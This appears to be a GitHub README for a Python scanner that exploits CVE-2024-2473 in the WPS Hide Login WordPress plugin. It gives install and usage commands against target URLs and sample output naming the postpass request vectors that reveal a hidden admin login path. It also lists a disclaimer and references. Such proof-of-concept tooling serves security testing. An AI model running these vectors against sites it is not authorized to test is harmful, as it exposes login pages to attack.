CVE-2024-2473
WPS Hide Login Disclosure

A medium-severity WordPress vulnerability affecting WPS Hide Login versions up to 1.9.15.2. The issue may expose hidden login page locations, reducing the effectiveness of login URL obfuscation techniques used by administrators.

Overview

The vulnerability affects the WPS Hide Login WordPress plugin. Public advisories reported that specific request handling behavior could reveal custom login paths that administrators intended to hide.

Technical Summary

Mitigation

Update WPS Hide Login to a patched version and follow WordPress security best practices including MFA, strong passwords, IP restrictions and monitoring authentication activity.

Installation

1. Clone the repository

git clone https://github.com/m4xsec/CVE-2024-2473.git

cd CVE-2024-2473

2. Install dependencies

pip install requests

Note: On systems using Python virtual environments or Kali Linux, you may need:

pip install requests --break-system-packages

Usage

python CVE-2024-2473.py -u <TARGET_URL> [-t TIMEOUT]

Arguments

Argument Description Default

-u, --url Target WordPress base URL (required) —

-t, --timeout HTTP request timeout in seconds 10

Examples

# Basic scan

python CVE-2024-2473.py -u https://example.com

# Scan with custom timeout

python CVE-2024-2473.py -u https://example.com --timeout 15

# Scan over HTTP

python CVE-2024-2473.py -u http://192.168.1.100

Output Example

 ...

  ┌─────────────────────────────────────────────────────────────┐

  │ CVE-2024-2473 • WPS Hide Login Page Identifier │

  │ Coded by Venexy | https://github.com/m4xsec │

  └─────────────────────────────────────────────────────────────┘

  ===============================================================

    TARGET https://example.com

    TIME 2024-11-01 18:00:00

    TIMEOUT 10s

  ===============================================================

  [18:00:00] [*] Phase 1 | Fingerprinting WordPress installation ...

  [18:00:01] [+] WordPress confirmed — https://example.com

  [18:00:01] [*] Phase 2 | Testing CVE-2024-2473 bypass vectors ...

  [18:00:01] [*] Vector A | POST /wp-login.php?action=postpass

             +- Status : 200 Result : MATCH

  [18:00:02] [*] Vector B | POST /wp-admin/?action=postpass

             +- Status : 302 Result : MATCH

  ###############################################################

  ## VULNERABILITY CONFIRMED -- CVE-2024-2473 ##

  ###############################################################

    Plugin WPS Hide Login <= 1.9.15.2

    Severity Medium (CVSS 5.3 / EPSS 93rd percentile)

    CWE CWE-200 — Exposure of Sensitive Information

    CVSS Vector AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:N / A:N

  [18:00:02] [VULN] Bypass confirmed via /wp-login.php?action=postpass

  ====================================================

        HIDDEN LOGIN URL DISCOVERED

  ====================================================

  >> https://example.com/my-secret-admin-path/

  ====================================================

Disclaimer

This tool is intended for authorized security testing and educational purposes only.

The author is not responsible for any misuse or damage caused by this tool. Always obtain explicit written permission from the target system owner before conducting any security assessment. Unauthorized scanning or exploitation of systems is illegal and unethical.

Use responsibly.

References

Resource Link

NVD — CVE-2024-2473 https://nvd.nist.gov/vuln/detail/CVE-2024-2473

Wordfence Advisory https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wps-hide-login/wps-hide-login-19152-login-page-disclosure

WPS Hide Login Plugin https://wordpress.org/plugins/wps-hide-login/

CWE-200 https://cwe.mitre.org/data/definitions/200.html

CVSS 3.1 Calculator https://www.first.org/cvss/calculator/3.1